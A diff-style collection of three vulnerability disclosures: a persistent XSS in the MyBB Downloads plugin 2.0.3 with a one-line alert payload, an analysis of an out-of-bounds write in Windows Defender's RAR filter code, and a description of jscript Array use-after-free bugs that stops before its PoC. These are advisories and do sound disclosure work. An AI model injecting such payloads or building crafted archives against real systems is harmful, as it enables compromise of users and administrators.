+# Exploit Title: MyBB Downloads Plugin v2.0.3 - Persistent XSS
+# Date: 3/28/18
+# Author: 0xB9
+# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
+# Software Link: https://community.mybb.com/mods.php?action=view&pid=854
+# Version: 2.0.3
+# Tested on: Ubuntu 17.10
+
+
+1. Description:
+It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.
+
+
+2. Proof of Concept:
+
+Persistent XSS
+- Go to downloads.php page
+- Create a New Download
+- Add the following to the title <BODY ONLOAD=alert('XSS')>
+- Now when the admin goes to validate your download he will be alerted
+
+
+3. Solution:
+Update to the latest release
+
+Patch: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads/pull/1/commits

+Windows Defender inspects a variety of different archive formats, among others RAR.
+
+Inspection of mpengine.dll revealed that the code responsible for processing RAR archives appears to be a forked and modified version of the original unrar code; given that it still processes the VMSF_UPCASE filter (which was removed in unrar 5.0), it seems that the code is derived from a version of unrar older or equal than 4.2.4.
+
+Interestingly, the issue discovered in CVE-2012-6706 (Sophos VMSF_DELTA, and in 2017 unrar) and other signedness issues in the RarVM::ExecuteStandardFilter function were fixed long ago (apparently without a report to upstream, most likely by simply turning the relevant variables from "signed" to "unsigned").
+
+It appears that this blanket conversion from signed to unsigned ended up introducing a new vulnerability, though:
+
+From unrar 4.2.4 rarvm.cpp:
+
+    case VMSF_RGB:
+      {
+        int DataSize=R[4],Width=R[0]-3,PosR=R[1];
+        byte *SrcData=Mem,*DestData=SrcData+DataSize;
+        const int Channels=3;
+        SET_VALUE(false,&Mem[VM_GLOBALMEMADDR+0x20],DataSize);
+        if ((uint)DataSize>=VM_GLOBALMEMADDR/2 || PosR<0)
+          break;
+        for (int CurChannel=0;CurChannel<Channels;CurChannel++)
+
+The code clearly ensures that PosR is positive from here on.
+
+This check is no longer present in the binary version of the same code in mpengine, most likely since most signed comparisons in this function have been turned unsigned. 
+
+This causes a vulnerability later in the same function (RarVM::ExecuteStandardFilter)
+
+Decompile of the mpengine code snippet:
+
+if ( PosR + 2 < DataSize ) {
+  v50 = (_BYTE *)(v39 + PosR);
+  do {
+    v51 = v50[1];
+    *v50 += v51;
+    v50 += 3;
+    *(v50 - 1) += v51;
+  } while ( (unsigned int)&v50[2 - v39] < DataSize );
+
+Original unrar code:
+  for (int I=PosR,Border=DataSize-2;I<Border;I+=3)
+  {
+    byte G=DestData[I+1];
+    DestData[I]+=G;
+    DestData[I+2]+=G;
+  }
+
+An attacker that can set PosR to be -2, and DataSize to 1, will bypass the (PosR + 2 < DataSize) check. v50 above will then point to one byte *before* the allocated buffer (v50 respective DestData points into a buffer at index DataSize -- so adding -2 to index 1 will index to -1. The byte from the start of this array will be added into the byte preceding the array.
+
+A minimal sample RAR file that exhibits these traits & causes mpengine to corrupt memory and crash is attached.
+
+

+There are multiple use-after-free issues in Array methods in jscript. When jscript executes an Array method (such as Array.join), it first retrieves the length of an array. If the input is not an array but an object, then the length property of the object is going to be retrieved and converted to scalar. During this conversion, the "length" property is not going to be tracked by the garbage collector and the conversion to scalar causes toString()/valueOf() callbacks to be triggered. Thus, during these callbacks, the "length" property could be freed and then the freed memory can be referenced by accessing the "this" variable inside the toString()/valueOf() function.
+
+All of the Array methods exhibit this pattern (see the PoC).
+
+Due to the specifics of how jscript implements variable, this will only result in the crash if the entire memory block that holds the "this" variable gets freed. This is why the PoC uses an object with a large number of elements in addition to the "length" element.
+
+As with the other use-after-free issues I reported recently that result in garbage-collecting the "this" variable, I believe the correct way to fix this is to always put the "this" VAR on the garbage collector root list before any function gets called, instead of attempting to fix each affected function individually.
+
+PoC for IE (note: The PoC has been tested on Windows 7 64-bit in IE 11.0.50 with 64-bit tab process and with Page Heap enabled):
